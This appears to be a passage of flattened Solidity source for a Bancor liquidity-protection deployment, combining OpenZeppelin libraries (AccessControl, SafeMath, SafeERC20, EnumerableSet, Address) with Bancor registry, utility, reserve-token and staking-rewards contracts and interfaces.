* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <=0.8.9;
import "./IMintableToken.sol";
/// @title The interface for mintable/burnable token governance.
interface ITokenGovernance {
// The address of the mintable ERC20 token.
function token() external view returns (IMintableToken);
/// @dev Mints new tokens.
///
/// @param to Account to receive the new amount.
/// @param amount Amount to increase the supply by.
///
function mint(address to, uint256 amount) external;
/// @dev Burns tokens from the caller.
///
/// @param amount Amount to decrease the supply by.
///
function burn(uint256 amount) external;
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "./Owned.sol";
import "./Utils.sol";
import "./interfaces/IContractRegistry.sol";
/**
* @dev This is the base contract for ContractRegistry clients.
*/
contract ContractRegistryClient is Owned, Utils {
bytes32 internal constant CONTRACT_REGISTRY = "ContractRegistry";
bytes32 internal constant BANCOR_NETWORK = "BancorNetwork";
bytes32 internal constant CONVERTER_FACTORY = "ConverterFactory";
bytes32 internal constant CONVERSION_PATH_FINDER = "ConversionPathFinder";
bytes32 internal constant CONVERTER_UPGRADER = "BancorConverterUpgrader";
bytes32 internal constant CONVERTER_REGISTRY = "BancorConverterRegistry";
bytes32 internal constant CONVERTER_REGISTRY_DATA = "BancorConverterRegistryData";
bytes32 internal constant BNT_TOKEN = "BNTToken";
bytes32 internal constant BANCOR_X = "BancorX";
bytes32 internal constant BANCOR_X_UPGRADER = "BancorXUpgrader";
bytes32 internal constant LIQUIDITY_PROTECTION = "LiquidityProtection";
bytes32 internal constant NETWORK_SETTINGS = "NetworkSettings";
// address of the current contract registry
IContractRegistry private _registry;
// address of the previous contract registry
IContractRegistry private _prevRegistry;
// only the owner can update the contract registry
bool private _onlyOwnerCanUpdateRegistry;
/**
* @dev verifies that the caller is mapped to the given contract name
*/
modifier only(bytes32 contractName) {
_only(contractName);
_;
}
// error message binary size optimization
function _only(bytes32 contractName) internal view {
require(msg.sender == _addressOf(contractName), "ERR_ACCESS_DENIED");
}
/**
* @dev initializes a new ContractRegistryClient instance
*/
constructor(IContractRegistry initialRegistry) internal validAddress(address(initialRegistry)) {
_registry = IContractRegistry(initialRegistry);
_prevRegistry = IContractRegistry(initialRegistry);
}
/**
* @dev updates to the new contract registry
*/
function updateRegistry() external {
// verify that this function is permitted
require(msg.sender == owner() || !_onlyOwnerCanUpdateRegistry, "ERR_ACCESS_DENIED");
// get the new contract registry
IContractRegistry newRegistry = IContractRegistry(_addressOf(CONTRACT_REGISTRY));
// verify that the new contract registry is different and not zero
require(newRegistry != _registry && address(newRegistry) != address(0), "ERR_INVALID_REGISTRY");
// verify that the new contract registry is pointing to a non-zero contract registry
require(newRegistry.addressOf(CONTRACT_REGISTRY) != address(0), "ERR_INVALID_REGISTRY");
// save a backup of the current contract registry before replacing it
_prevRegistry = _registry;
// replace the current contract registry with the new contract registry
_registry = newRegistry;
}
/**
* @dev restores the previous contract registry
*/
function restoreRegistry() external ownerOnly {
// restore the previous contract registry
_registry = _prevRegistry;
}
/**
* @dev restricts the permission to update the contract registry
*/
function restrictRegistryUpdate(bool restrictOwnerOnly) public ownerOnly {
// change the permission to update the contract registry
_onlyOwnerCanUpdateRegistry = restrictOwnerOnly;
}
/**
* @dev returns the address of the current contract registry
*/
function registry() public view returns (IContractRegistry) {
return _registry;
}
/**
* @dev returns the address of the previous contract registry
*/
function prevRegistry() external view returns (IContractRegistry) {
return _prevRegistry;
}
/**
* @dev returns whether only the owner can update the contract registry
*/
function onlyOwnerCanUpdateRegistry() external view returns (bool) {
return _onlyOwnerCanUpdateRegistry;
}
/**
* @dev returns the address associated with the given contract name
*/
function _addressOf(bytes32 contractName) internal view returns (address) {
return _registry.addressOf(contractName);
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @dev Utilities & Common Modifiers
*/
contract Utils {
uint32 internal constant PPM_RESOLUTION = 1000000;
// verifies that a value is greater than zero
modifier greaterThanZero(uint256 value) {
_greaterThanZero(value);
_;
}
// error message binary size optimization
function _greaterThanZero(uint256 value) internal pure {
require(value > 0, "ERR_ZERO_VALUE");
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address addr) {
_validAddress(addr);
_;
}
// error message binary size optimization
function _validAddress(address addr) internal pure {
require(addr != address(0), "ERR_INVALID_ADDRESS");
}
// ensures that the portion is valid
modifier validPortion(uint32 _portion) {
_validPortion(_portion);
_;
}
// error message binary size optimization
function _validPortion(uint32 _portion) internal pure {
require(_portion > 0 && _portion <= PPM_RESOLUTION, "ERR_INVALID_PORTION");
}
// validates an external address - currently only checks that it isn't null or this
modifier validExternalAddress(address addr) {
_validExternalAddress(addr);
_;
}
// error message binary size optimization
function _validExternalAddress(address addr) internal view {
require(addr != address(0) && addr != address(this), "ERR_INVALID_EXTERNAL_ADDRESS");
}
// ensures that the fee is valid
modifier validFee(uint32 fee) {
_validFee(fee);
_;
}
// error message binary size optimization
function _validFee(uint32 fee) internal pure {
require(fee <= PPM_RESOLUTION, "ERR_INVALID_FEE");
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
/*
Time implementing contract
*/
contract Time {
/**
* @dev returns the current time
*/
function _time() internal view virtual returns (uint256) {
return block.timestamp;
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
/**
* @dev Checkpoint store contract interface
*/
interface ICheckpointStore {
function addCheckpoint(address target) external;
function addPastCheckpoint(address target, uint256 timestamp) external;
function addPastCheckpoints(address[] calldata targets, uint256[] calldata timestamps) external;
function checkpoint(address target) external view returns (uint256);
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./interfaces/IReserveToken.sol";
import "./SafeERC20Ex.sol";
/**
* @dev This library implements ERC20 and SafeERC20 utilities for reserve tokens, which can be either ERC20 tokens or ETH
*/
library ReserveToken {
using SafeERC20 for IERC20;
using SafeERC20Ex for IERC20;
// the address that represents an ETH reserve
IReserveToken public constant NATIVE_TOKEN_ADDRESS = IReserveToken(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
/**
* @dev returns whether the provided token represents an ERC20 or ETH reserve
*/
function isNativeToken(IReserveToken reserveToken) internal pure returns (bool) {
return reserveToken == NATIVE_TOKEN_ADDRESS;
}
/**
* @dev returns the balance of the reserve token
*/
function balanceOf(IReserveToken reserveToken, address account) internal view returns (uint256) {
if (isNativeToken(reserveToken)) {
return account.balance;
}
return toIERC20(reserveToken).balanceOf(account);
}
/**
* @dev transfers a specific amount of the reserve token
*/
function safeTransfer(
IReserveToken reserveToken,
address to,
uint256 amount
) internal {
if (amount == 0) {
return;
}
if (isNativeToken(reserveToken)) {
payable(to).transfer(amount);
} else {
toIERC20(reserveToken).safeTransfer(to, amount);
}
}
/**
* @dev transfers a specific amount of the reserve token from a specific holder using the allowance mechanism
*
* note that the function ignores a reserve token which represents an ETH reserve
*/
function safeTransferFrom(
IReserveToken reserveToken,
address from,
address to,
uint256 amount
) internal {
if (amount == 0 || isNativeToken(reserveToken)) {
return;
}
toIERC20(reserveToken).safeTransferFrom(from, to, amount);
}
/**
* @dev ensures that the spender has sufficient allowance
*
* note that this function ignores a reserve token which represents an ETH reserve
*/
function ensureApprove(
IReserveToken reserveToken,
address spender,
uint256 amount
) internal {
if (isNativeToken(reserveToken)) {
return;
}
toIERC20(reserveToken).ensureApprove(spender, amount);
}
/**
* @dev utility function that converts an IReserveToken to an IERC20
*/
function toIERC20(IReserveToken reserveToken) private pure returns (IERC20) {
return IERC20(address(reserveToken));
}
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "./ILiquidityProtectionStore.sol";
import "./ILiquidityProtectionStats.sol";
import "./ILiquidityProtectionSettings.sol";
import "./ILiquidityProtectionSystemStore.sol";
import "./ITransferPositionCallback.sol";
import "../../utility/interfaces/ITokenHolder.sol";
import "../../token/interfaces/IReserveToken.sol";
import "../../converter/interfaces/IConverterAnchor.sol";
/**
* @dev Liquidity Protection interface
*/
interface ILiquidityProtection {
function store() external view returns (ILiquidityProtectionStore);
function stats() external view returns (ILiquidityProtectionStats);
function settings() external view returns (ILiquidityProtectionSettings);
function systemStore() external view returns (ILiquidityProtectionSystemStore);
function wallet() external view returns (ITokenHolder);
function addLiquidityFor(
address owner,
IConverterAnchor poolAnchor,
IReserveToken reserveToken,
uint256 amount
) external payable returns (uint256);
function addLiquidity(
IConverterAnchor poolAnchor,
IReserveToken reserveToken,
uint256 amount
) external payable returns (uint256);
function removeLiquidity(uint256 id, uint32 portion) external;
function transferPosition(uint256 id, address newProvider) external returns (uint256);
function transferPositionAndNotify(
uint256 id,
address newProvider,
ITransferPositionCallback callback,
bytes calldata data
) external returns (uint256);
}
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.6.12;
import "../../liquidity-protection/interfaces/ILiquidityProvisionEventsSubscriber.sol";
import "./IStakingRewardsStore.sol";
interface IStakingRewards is ILiquidityProvisionEventsSubscriber {
/**
* @dev triggered when pending rewards are being claimed
*/
event RewardsClaimed(address indexed provider, uint256 amount);
/**
* @dev triggered when pending rewards are being staked in a pool
*/
event RewardsStaked(address indexed provider, IDSToken indexed poolToken, uint256 amount, uint256 indexed newId);
function store() external view returns (IStakingRewardsStore);
function pendingRewards(address provider) external view returns (uint256);
function pendingPoolRewards(address provider, IDSToken poolToken) external view returns (uint256);
function pendingReserveRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken
) external view returns (uint256);
function rewardsMultiplier(
address provider,
IDSToken poolToken,
IReserveToken reserveToken
) external view returns (uint32);
function totalClaimedRewards(address provider) external view returns (uint256);
function claimRewards() external returns (uint256);
function stakeRewards(uint256 maxAmount, IDSToken newPoolToken) external returns (uint256, uint256);
function stakeReserveRewards(
IDSToken poolToken,
IReserveToken reserveToken,
uint256 maxAmount,
IDSToken newPoolToken
) external returns (uint256, uint256);
function storePoolRewards(address[] calldata providers, IDSToken poolToken) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
